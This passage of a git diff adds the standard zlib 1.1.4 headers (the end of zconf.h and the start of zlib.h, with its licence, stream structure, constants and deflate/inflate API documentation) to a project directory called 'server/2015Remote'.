||||
#endif
|
||||
#if defined(__MSDOS__) && !defined(MSDOS)
|
||||
# define MSDOS
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
|
||||
* than 64k bytes at a time (needed on systems with 16-bit int).
|
||||
*/
|
||||
#if defined(MSDOS) && !defined(__32BIT__)
|
||||
# define MAXSEG_64K
|
||||
#endif
|
||||
#ifdef MSDOS
|
||||
# define UNALIGNED_OK
|
||||
#endif
|
||||
|
||||
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
|
||||
# define STDC
|
||||
#endif
|
||||
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
|
||||
# ifndef STDC
|
||||
# define STDC
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef STDC
|
||||
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
|
||||
# define const
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Some Mac compilers merge all .h files incorrectly: */
|
||||
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
|
||||
# define NO_DUMMY_DECL
|
||||
#endif
|
||||
|
||||
/* Old Borland C incorrectly complains about missing returns: */
|
||||
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
|
||||
# define NEED_DUMMY_RETURN
|
||||
#endif
|
||||
|
||||
|
||||
/* Maximum value for memLevel in deflateInit2 */
|
||||
#ifndef MAX_MEM_LEVEL
|
||||
# ifdef MAXSEG_64K
|
||||
# define MAX_MEM_LEVEL 8
|
||||
# else
|
||||
# define MAX_MEM_LEVEL 9
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
|
||||
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
|
||||
* created by gzip. (Files created by minigzip can still be extracted by
|
||||
* gzip.)
|
||||
*/
|
||||
#ifndef MAX_WBITS
|
||||
# define MAX_WBITS 15 /* 32K LZ77 window */
|
||||
#endif
|
||||
|
||||
/* The memory requirements for deflate are (in bytes):
|
||||
(1 << (windowBits+2)) + (1 << (memLevel+9))
|
||||
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
|
||||
plus a few kilobytes for small objects. For example, if you want to reduce
|
||||
the default memory requirements from 256K to 128K, compile with
|
||||
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
|
||||
Of course this will generally degrade compression (there's no free lunch).
|
||||
|
||||
The memory requirements for inflate are (in bytes) 1 << windowBits
|
||||
that is, 32K for windowBits=15 (default value) plus a few kilobytes
|
||||
for small objects.
|
||||
*/
|
||||
|
||||
/* Type declarations */
|
||||
|
||||
#ifndef OF /* function prototypes */
|
||||
# ifdef STDC
|
||||
# define OF(args) args
|
||||
# else
|
||||
# define OF(args) ()
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||
* model programming (small or medium model with some far allocations).
|
||||
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
|
||||
* just define FAR to be empty.
|
||||
*/
|
||||
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
|
||||
/* MSC small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# ifdef _MSC_VER
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
#endif
|
||||
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
|
||||
# ifndef __32BIT__
|
||||
# define SMALL_MEDIUM
|
||||
# define FAR _far
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Compile with -DZLIB_DLL for Windows DLL support */
|
||||
#if defined(ZLIB_DLL)
|
||||
# if defined(_WINDOWS) || defined(WINDOWS)
|
||||
# ifdef FAR
|
||||
# undef FAR
|
||||
# endif
|
||||
# include <windows.h>
|
||||
# define ZEXPORT WINAPI
|
||||
# ifdef WIN32
|
||||
# define ZEXPORTVA WINAPIV
|
||||
# else
|
||||
# define ZEXPORTVA FAR _cdecl _export
|
||||
# endif
|
||||
# endif
|
||||
# if defined (__BORLANDC__)
|
||||
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
|
||||
# include <windows.h>
|
||||
# define ZEXPORT __declspec(dllexport) WINAPI
|
||||
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
|
||||
# else
|
||||
# if defined (_Windows) && defined (__DLL__)
|
||||
# define ZEXPORT _export
|
||||
# define ZEXPORTVA _export
|
||||
# endif
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined (__BEOS__)
|
||||
# if defined (ZLIB_DLL)
|
||||
# define ZEXTERN extern __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXTERN extern __declspec(dllimport)
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef ZEXPORT
|
||||
# define ZEXPORT
|
||||
#endif
|
||||
#ifndef ZEXPORTVA
|
||||
# define ZEXPORTVA
|
||||
#endif
|
||||
#ifndef ZEXTERN
|
||||
# define ZEXTERN extern
|
||||
#endif
|
||||
|
||||
#ifndef FAR
|
||||
# define FAR
|
||||
#endif
|
||||
|
||||
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
|
||||
typedef unsigned char Byte; /* 8 bits */
|
||||
#endif
|
||||
typedef unsigned int uInt; /* 16 bits or more */
|
||||
typedef unsigned long uLong; /* 32 bits or more */
|
||||
|
||||
#ifdef SMALL_MEDIUM
|
||||
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
|
||||
# define Bytef Byte FAR
|
||||
#else
|
||||
typedef Byte FAR Bytef;
|
||||
#endif
|
||||
typedef char FAR charf;
|
||||
typedef int FAR intf;
|
||||
typedef uInt FAR uIntf;
|
||||
typedef uLong FAR uLongf;
|
||||
|
||||
#ifdef STDC
|
||||
typedef void FAR *voidpf;
|
||||
typedef void *voidp;
|
||||
#else
|
||||
typedef Byte FAR *voidpf;
|
||||
typedef Byte *voidp;
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_UNISTD_H
|
||||
# include <sys/types.h> /* for off_t */
|
||||
# include <unistd.h> /* for SEEK_* and off_t */
|
||||
# define z_off_t off_t
|
||||
#endif
|
||||
#ifndef SEEK_SET
|
||||
# define SEEK_SET 0 /* Seek from beginning of file. */
|
||||
# define SEEK_CUR 1 /* Seek from current position. */
|
||||
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
|
||||
#endif
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
# pragma map(deflateInit_,"DEIN")
|
||||
# pragma map(deflateInit2_,"DEIN2")
|
||||
# pragma map(deflateEnd,"DEEND")
|
||||
# pragma map(inflateInit_,"ININ")
|
||||
# pragma map(inflateInit2_,"ININ2")
|
||||
# pragma map(inflateEnd,"INEND")
|
||||
# pragma map(inflateSync,"INSY")
|
||||
# pragma map(inflateSetDictionary,"INSEDI")
|
||||
# pragma map(inflate_blocks,"INBL")
|
||||
# pragma map(inflate_blocks_new,"INBLNE")
|
||||
# pragma map(inflate_blocks_free,"INBLFR")
|
||||
# pragma map(inflate_blocks_reset,"INBLRE")
|
||||
# pragma map(inflate_codes_free,"INCOFR")
|
||||
# pragma map(inflate_codes,"INCO")
|
||||
# pragma map(inflate_fast,"INFA")
|
||||
# pragma map(inflate_flush,"INFLU")
|
||||
# pragma map(inflate_mask,"INMA")
|
||||
# pragma map(inflate_set_dictionary,"INSEDI2")
|
||||
# pragma map(inflate_copyright,"INCOPY")
|
||||
# pragma map(inflate_trees_bits,"INTRBI")
|
||||
# pragma map(inflate_trees_dynamic,"INTRDY")
|
||||
# pragma map(inflate_trees_fixed,"INTRFI")
|
||||
# pragma map(inflate_trees_free,"INTRFR")
|
||||
#endif
|
||||
|
||||
#endif /* _ZCONF_H */
|
||||
893
server/2015Remote/zlib.h
Normal file
@@ -0,0 +1,893 @@
|
||||
/* zlib.h -- interface of the 'zlib' general purpose compression library
|
||||
version 1.1.4, March 11th, 2002
|
||||
|
||||
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
|
||||
|
||||
This software is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the authors be held liable for any damages
|
||||
arising from the use of this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
|
||||
1. The origin of this software must not be misrepresented; you must not
|
||||
claim that you wrote the original software. If you use this software
|
||||
in a product, an acknowledgment in the product documentation would be
|
||||
appreciated but is not required.
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
Jean-loup Gailly Mark Adler
|
||||
jloup@gzip.org madler@alumni.caltech.edu
|
||||
|
||||
|
||||
The data format used by the zlib library is described by RFCs (Request for
|
||||
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
|
||||
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
|
||||
*/
|
||||
|
||||
#ifndef _ZLIB_H
|
||||
#define _ZLIB_H
|
||||
|
||||
#include "zconf.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define ZLIB_VERSION "1.1.4"
|
||||
|
||||
/*
|
||||
The 'zlib' compression library provides in-memory compression and
|
||||
decompression functions, including integrity checks of the uncompressed
|
||||
data. This version of the library supports only one compression method
|
||||
(deflation) but other algorithms will be added later and will have the same
|
||||
stream interface.
|
||||
|
||||
Compression can be done in a single step if the buffers are large
|
||||
enough (for example if an input file is mmap'ed), or can be done by
|
||||
repeated calls of the compression function. In the latter case, the
|
||||
application must provide more input and/or consume the output
|
||||
(providing more output space) before each call.
|
||||
|
||||
The library also supports reading and writing files in gzip (.gz) format
|
||||
with an interface similar to that of stdio.
|
||||
|
||||
The library does not install any signal handler. The decoder checks
|
||||
the consistency of the compressed data, so the library should never
|
||||
crash even in case of corrupted input.
|
||||
*/
|
||||
|
||||
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
|
||||
typedef void (*free_func) OF((voidpf opaque, voidpf address));
|
||||
|
||||
struct internal_state;
|
||||
|
||||
typedef struct z_stream_s {
|
||||
Bytef *next_in; /* next input byte */
|
||||
uInt avail_in; /* number of bytes available at next_in */
|
||||
uLong total_in; /* total nb of input bytes read so far */
|
||||
|
||||
Bytef *next_out; /* next output byte should be put there */
|
||||
uInt avail_out; /* remaining free space at next_out */
|
||||
uLong total_out; /* total nb of bytes output so far */
|
||||
|
||||
char *msg; /* last error message, NULL if no error */
|
||||
struct internal_state FAR *state; /* not visible by applications */
|
||||
|
||||
alloc_func zalloc; /* used to allocate the internal state */
|
||||
free_func zfree; /* used to free the internal state */
|
||||
voidpf opaque; /* private data object passed to zalloc and zfree */
|
||||
|
||||
int data_type; /* best guess about the data type: ascii or binary */
|
||||
uLong adler; /* adler32 value of the uncompressed data */
|
||||
uLong reserved; /* reserved for future use */
|
||||
} z_stream;
|
||||
|
||||
typedef z_stream FAR *z_streamp;
|
||||
|
||||
/*
|
||||
The application must update next_in and avail_in when avail_in has
|
||||
dropped to zero. It must update next_out and avail_out when avail_out
|
||||
has dropped to zero. The application must initialize zalloc, zfree and
|
||||
opaque before calling the init function. All other fields are set by the
|
||||
compression library and must not be updated by the application.
|
||||
|
||||
The opaque value provided by the application will be passed as the first
|
||||
parameter for calls of zalloc and zfree. This can be useful for custom
|
||||
memory management. The compression library attaches no meaning to the
|
||||
opaque value.
|
||||
|
||||
zalloc must return Z_NULL if there is not enough memory for the object.
|
||||
If zlib is used in a multi-threaded application, zalloc and zfree must be
|
||||
thread safe.
|
||||
|
||||
On 16-bit systems, the functions zalloc and zfree must be able to allocate
|
||||
exactly 65536 bytes, but will not be required to allocate more than this
|
||||
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
|
||||
pointers returned by zalloc for objects of exactly 65536 bytes *must*
|
||||
have their offset normalized to zero. The default allocation function
|
||||
provided by this library ensures this (see zutil.c). To reduce memory
|
||||
requirements and avoid any allocation of 64K objects, at the expense of
|
||||
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
|
||||
|
||||
The fields total_in and total_out can be used for statistics or
|
||||
progress reports. After compression, total_in holds the total size of
|
||||
the uncompressed data and may be saved for use in the decompressor
|
||||
(particularly if the decompressor wants to decompress everything in
|
||||
a single step).
|
||||
*/
|
||||
|
||||
/* constants */
|
||||
|
||||
#define Z_NO_FLUSH 0
|
||||
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
|
||||
#define Z_SYNC_FLUSH 2
|
||||
#define Z_FULL_FLUSH 3
|
||||
#define Z_FINISH 4
|
||||
/* Allowed flush values; see deflate() below for details */
|
||||
|
||||
#define Z_OK 0
|
||||
#define Z_STREAM_END 1
|
||||
#define Z_NEED_DICT 2
|
||||
#define Z_ERRNO (-1)
|
||||
#define Z_STREAM_ERROR (-2)
|
||||
#define Z_DATA_ERROR (-3)
|
||||
#define Z_MEM_ERROR (-4)
|
||||
#define Z_BUF_ERROR (-5)
|
||||
#define Z_VERSION_ERROR (-6)
|
||||
/* Return codes for the compression/decompression functions. Negative
|
||||
* values are errors, positive values are used for special but normal events.
|
||||
*/
|
||||
|
||||
#define Z_NO_COMPRESSION 0
|
||||
#define Z_BEST_SPEED 1
|
||||
#define Z_BEST_COMPRESSION 9
|
||||
#define Z_DEFAULT_COMPRESSION (-1)
|
||||
/* compression levels */
|
||||
|
||||
#define Z_FILTERED 1
|
||||
#define Z_HUFFMAN_ONLY 2
|
||||
#define Z_DEFAULT_STRATEGY 0
|
||||
/* compression strategy; see deflateInit2() below for details */
|
||||
|
||||
#define Z_BINARY 0
|
||||
#define Z_ASCII 1
|
||||
#define Z_UNKNOWN 2
|
||||
/* Possible values of the data_type field */
|
||||
|
||||
#define Z_DEFLATED 8
|
||||
/* The deflate compression method (the only one supported in this version) */
|
||||
|
||||
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
|
||||
|
||||
#define zlib_version zlibVersion()
|
||||
/* for compatibility with versions < 1.0.2 */
|
||||
|
||||
/* basic functions */
|
||||
|
||||
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
|
||||
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
|
||||
If the first character differs, the library code actually used is
|
||||
not compatible with the zlib.h header file used by the application.
|
||||
This check is automatically made by deflateInit and inflateInit.
|
||||
*/
|
||||
|
||||
/*
|
||||
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
|
||||
|
||||
Initializes the internal stream state for compression. The fields
|
||||
zalloc, zfree and opaque must be initialized before by the caller.
|
||||
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
|
||||
use default allocation functions.
|
||||
|
||||
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
|
||||
1 gives best speed, 9 gives best compression, 0 gives no compression at
|
||||
all (the input data is simply copied a block at a time).
|
||||
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
|
||||
compression (currently equivalent to level 6).
|
||||
|
||||
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
|
||||
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
|
||||
with the version assumed by the caller (ZLIB_VERSION).
|
||||
msg is set to null if there is no error message. deflateInit does not
|
||||
perform any compression: this will be done by deflate().
|
||||
*/
|
||||
|
||||
|
||||
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
|
||||
/*
|
||||
deflate compresses as much data as possible, and stops when the input
|
||||
buffer becomes empty or the output buffer becomes full. It may introduce some
|
||||
output latency (reading input without producing any output) except when
|
||||
forced to flush.
|
||||
|
||||
The detailed semantics are as follows. deflate performs one or both of the
|
||||
following actions:
|
||||
|
||||
- Compress more input starting at next_in and update next_in and avail_in
|
||||
accordingly. If not all input can be processed (because there is not
|
||||
enough room in the output buffer), next_in and avail_in are updated and
|
||||
processing will resume at this point for the next call of deflate().
|
||||
|
||||
- Provide more output starting at next_out and update next_out and avail_out
|
||||
accordingly. This action is forced if the parameter flush is non zero.
|
||||
Forcing flush frequently degrades the compression ratio, so this parameter
|
||||
should be set only when necessary (in interactive applications).
|
||||
Some output may be provided even if flush is not set.
|
||||
|
||||
Before the call of deflate(), the application should ensure that at least
|
||||
one of the actions is possible, by providing more input and/or consuming
|
||||
more output, and updating avail_in or avail_out accordingly; avail_out
|
||||
should never be zero before the call. The application can consume the
|
||||
compressed output when it wants, for example when the output buffer is full
|
||||
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
|
||||
and with zero avail_out, it must be called again after making room in the
|
||||
output buffer because there might be more output pending.
|
||||
|
||||
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
|
||||
flushed to the output buffer and the output is aligned on a byte boundary, so
|
||||
that the decompressor can get all input data available so far. (In particular
|
||||
avail_in is zero after the call if enough output space has been provided
|
||||
before the call.) Flushing may degrade compression for some compression
|
||||
algorithms and so it should be used only when necessary.
|
||||
|
||||
If flush is set to Z_FULL_FLUSH, all output is flushed as with
|
||||
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
|
||||
restart from this point if previous compressed data has been damaged or if
|
||||
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
|
||||
the compression.
|
||||
|
||||
If deflate returns with avail_out == 0, this function must be called again
|
||||
with the same value of the flush parameter and more output space (updated
|
||||
avail_out), until the flush is complete (deflate returns with non-zero
|
||||
avail_out).
|
||||
|
||||
If the parameter flush is set to Z_FINISH, pending input is processed,
|
||||
pending output is flushed and deflate returns with Z_STREAM_END if there
|
||||
was enough output space; if deflate returns with Z_OK, this function must be
|
||||
called again with Z_FINISH and more output space (updated avail_out) but no
|
||||
more input data, until it returns with Z_STREAM_END or an error. After
|
||||
deflate has returned Z_STREAM_END, the only possible operations on the
|
||||
stream are deflateReset or deflateEnd.
|
||||
|
||||
Z_FINISH can be used immediately after deflateInit if all the compression
|
||||
is to be done in a single step. In this case, avail_out must be at least
|
||||
0.1% larger than avail_in plus 12 bytes. If deflate does not return
|
||||
Z_STREAM_END, then it must be called again as described above.
|
||||
|
||||
deflate() sets strm->adler to the adler32 checksum of all input read
|
||||
so far (that is, total_in bytes).
|
||||
|
||||
deflate() may update data_type if it can make a good guess about
|
||||
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
|
||||
binary. This field is only for information purposes and does not affect
|
||||
the compression algorithm in any manner.
|
||||
|
||||
deflate() returns Z_OK if some progress has been made (more input
|
||||
processed or more output produced), Z_STREAM_END if all input has been
|
||||
consumed and all output has been produced (only when flush is set to
|
||||
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
|
||||
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
|
||||
(for example avail_in or avail_out was zero).
|
||||
*/
|
||||
|
||||
|
||||
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
|
||||
/*
|
||||
All dynamically allocated data structures for this stream are freed.
|
||||
This function discards any unprocessed input and does not flush any
|
||||
pending output.
|
||||
|
||||
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
|
||||
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
|
||||
prematurely (some input or output was discarded). In the error case,
|
||||
msg may be set but then points to a static string (which must not be
|
||||
deallocated).
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
|
||||
|
||||
Initializes the internal stream state for decompression. The fields
|
||||
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
|
||||
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
|
||||
value depends on the compression method), inflateInit determines the
|
||||
compression method from the zlib header and allocates all data structures
|
||||
accordingly; otherwise the allocation will be deferred to the first call of
|
||||
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
|
||||
use default allocation functions.
|
||||
|
||||
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
|
||||
version assumed by the caller. msg is set to null if there is no error
|
||||
message. inflateInit does not perform any decompression apart from reading
|
||||
the zlib header if present: this will be done by inflate(). (So next_in and
|
||||
avail_in may be modified, but next_out and avail_out are unchanged.)
|
||||
*/
|
||||
|
||||
|
||||
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
|
||||
/*
|
||||
inflate decompresses as much data as possible, and stops when the input
|
||||
buffer becomes empty or the output buffer becomes full. It may some
|
||||
introduce some output latency (reading input without producing any output)
|
||||
except when forced to flush.
|
||||
|
||||
The detailed semantics are as follows. inflate performs one or both of the
|
||||
following actions:
|
||||
|
||||
- Decompress more input starting at next_in and update next_in and avail_in
|
||||
accordingly. If not all input can be processed (because there is not
|
||||
enough room in the output buffer), next_in is updated and processing
|
||||
will resume at this point for the next call of inflate().
|
||||
|
||||
- Provide more output starting at next_out and update next_out and avail_out
|
||||
accordingly. inflate() provides as much output as possible, until there
|
||||
is no more input data or no more space in the output buffer (see below
|
||||
about the flush parameter).
|
||||
|
||||
Before the call of inflate(), the application should ensure that at least
|
||||
one of the actions is possible, by providing more input and/or consuming
|
||||
more output, and updating the next_* and avail_* values accordingly.
|
||||
The application can consume the uncompressed output when it wants, for
|
||||
example when the output buffer is full (avail_out == 0), or after each
|
||||
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
|
||||
must be called again after making room in the output buffer because there
|
||||
might be more output pending.
|
||||
|
||||
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
|
||||
output as possible to the output buffer. The flushing behavior of inflate is
|
||||
not specified for values of the flush parameter other than Z_SYNC_FLUSH
|
||||
and Z_FINISH, but the current implementation actually flushes as much output
|
||||
as possible anyway.
|
||||
|
||||
inflate() should normally be called until it returns Z_STREAM_END or an
|
||||
error. However if all decompression is to be performed in a single step
|
||||
(a single call of inflate), the parameter flush should be set to
|
||||
Z_FINISH. In this case all pending input is processed and all pending
|
||||
output is flushed; avail_out must be large enough to hold all the
|
||||
uncompressed data. (The size of the uncompressed data may have been saved
|
||||
by the compressor for this purpose.) The next operation on this stream must
|
||||
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
|
||||
is never required, but can be used to inform inflate that a faster routine
|
||||
may be used for the single inflate() call.
|
||||
|
||||
If a preset dictionary is needed at this point (see inflateSetDictionary
|
||||
below), inflate sets strm-adler to the adler32 checksum of the
|
||||
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
|
||||
it sets strm->adler to the adler32 checksum of all output produced
|
||||
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
|
||||
an error code as described below. At the end of the stream, inflate()
|
||||
checks that its computed adler32 checksum is equal to that saved by the
|
||||
compressor and returns Z_STREAM_END only if the checksum is correct.
|
||||
|
||||
inflate() returns Z_OK if some progress has been made (more input processed
|
||||
or more output produced), Z_STREAM_END if the end of the compressed data has
|
||||
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
|
||||
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
|
||||
corrupted (input stream not conforming to the zlib format or incorrect
|
||||
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
|
||||
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
|
||||
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
|
||||
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
|
||||
case, the application may then call inflateSync to look for a good
|
||||
compression block.
|
||||
*/
|
||||
|
||||
|
||||
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
|
||||
/*
|
||||
All dynamically allocated data structures for this stream are freed.
|
||||
This function discards any unprocessed input and does not flush any
|
||||
pending output.
|
||||
|
||||
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
|
||||
was inconsistent. In the error case, msg may be set but then points to a
|
||||
static string (which must not be deallocated).
|
||||
*/
|
||||
|
||||
/* Advanced functions */
|
||||
|
||||
/*
|
||||
The following functions are needed only in some special applications.
|
||||
*/
|
||||
|
||||
/*
|
||||
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
|
||||
int level,
|
||||
int method,
|
||||
int windowBits,
|
||||
int memLevel,
|
||||
int strategy));
|
||||
|
||||
This is another version of deflateInit with more compression options. The
|
||||
fields next_in, zalloc, zfree and opaque must be initialized before by
|
||||
the caller.
|
||||
|
||||
The method parameter is the compression method. It must be Z_DEFLATED in
|
||||
this version of the library.
|
||||
|
||||
The windowBits parameter is the base two logarithm of the window size
|
||||
(the size of the history buffer). It should be in the range 8..15 for this
|
||||
version of the library. Larger values of this parameter result in better
|
||||
compression at the expense of memory usage. The default value is 15 if
|
||||
deflateInit is used instead.
|
||||
|
||||
The memLevel parameter specifies how much memory should be allocated
|
||||
for the internal compression state. memLevel=1 uses minimum memory but
|
||||
is slow and reduces compression ratio; memLevel=9 uses maximum memory
|
||||
for optimal speed. The default value is 8. See zconf.h for total memory
|
||||
usage as a function of windowBits and memLevel.
|
||||
|
||||
The strategy parameter is used to tune the compression algorithm. Use the
|
||||
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
|
||||
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
|
||||
string match). Filtered data consists mostly of small values with a
|
||||
somewhat random distribution. In this case, the compression algorithm is
|
||||
tuned to compress them better. The effect of Z_FILTERED is to force more
|
||||
Huffman coding and less string matching; it is somewhat intermediate
|
||||
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
|
||||
the compression ratio but not the correctness of the compressed output even
|
||||
if it is not set appropriately.
|
||||
|
||||
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
|
||||
method). msg is set to null if there is no error message. deflateInit2 does
|
||||
not perform any compression: this will be done by deflate().
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
|
||||
const Bytef *dictionary,
|
||||
uInt dictLength));
|
||||
/*
|
||||
Initializes the compression dictionary from the given byte sequence
|
||||
without producing any compressed output. This function must be called
|
||||
immediately after deflateInit, deflateInit2 or deflateReset, before any
|
||||
call of deflate. The compressor and decompressor must use exactly the same
|
||||
dictionary (see inflateSetDictionary).
|
||||
|
||||
The dictionary should consist of strings (byte sequences) that are likely
|
||||
to be encountered later in the data to be compressed, with the most commonly
|
||||
used strings preferably put towards the end of the dictionary. Using a
|
||||
dictionary is most useful when the data to be compressed is short and can be
|
||||
predicted with good accuracy; the data can then be compressed better than
|
||||
with the default empty dictionary.
|
||||
|
||||
Depending on the size of the compression data structures selected by
|
||||
deflateInit or deflateInit2, a part of the dictionary may in effect be
|
||||
discarded, for example if the dictionary is larger than the window size in
|
||||
deflate or deflate2. Thus the strings most likely to be useful should be
|
||||
put at the end of the dictionary, not at the front.
|
||||
|
||||
Upon return of this function, strm->adler is set to the Adler32 value
|
||||
of the dictionary; the decompressor may later use this value to determine
|
||||
which dictionary has been used by the compressor. (The Adler32 value
|
||||
applies to the whole dictionary even if only a subset of the dictionary is
|
||||
actually used by the compressor.)
|
||||
|
||||
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
|
||||
parameter is invalid (such as NULL dictionary) or the stream state is
|
||||
inconsistent (for example if deflate has already been called for this stream
|
||||
or if the compression method is bsort). deflateSetDictionary does not
|
||||
perform any compression: this will be done by deflate().
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
|
||||
z_streamp source));
|
||||
/*
|
||||
Sets the destination stream as a complete copy of the source stream.
|
||||
|
||||
This function can be useful when several compression strategies will be
|
||||
tried, for example when there are several ways of pre-processing the input
|
||||
data with a filter. The streams that will be discarded should then be freed
|
||||
by calling deflateEnd. Note that deflateCopy duplicates the internal
|
||||
compression state which can be quite large, so this strategy is slow and
|
||||
can consume lots of memory.
|
||||
|
||||
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
|
||||
/*
|
||||
This function is equivalent to deflateEnd followed by deflateInit,
|
||||
but does not free and reallocate all the internal compression state.
|
||||
The stream will keep the same compression level and any other attributes
|
||||
that may have been set by deflateInit2.
|
||||
|
||||
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||
stream state was inconsistent (such as zalloc or state being NULL).
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
|
||||
int level,
|
||||
int strategy));
|
||||
/*
|
||||
Dynamically update the compression level and compression strategy. The
|
||||
interpretation of level and strategy is as in deflateInit2. This can be
|
||||
used to switch between compression and straight copy of the input data, or
|
||||
to switch to a different kind of input data requiring a different
|
||||
strategy. If the compression level is changed, the input available so far
|
||||
is compressed with the old level (and may be flushed); the new level will
|
||||
take effect only at the next call of deflate().
|
||||
|
||||
Before the call of deflateParams, the stream state must be set as for
|
||||
a call of deflate(), since the currently available input may have to
|
||||
be compressed and flushed. In particular, strm->avail_out must be non-zero.
|
||||
|
||||
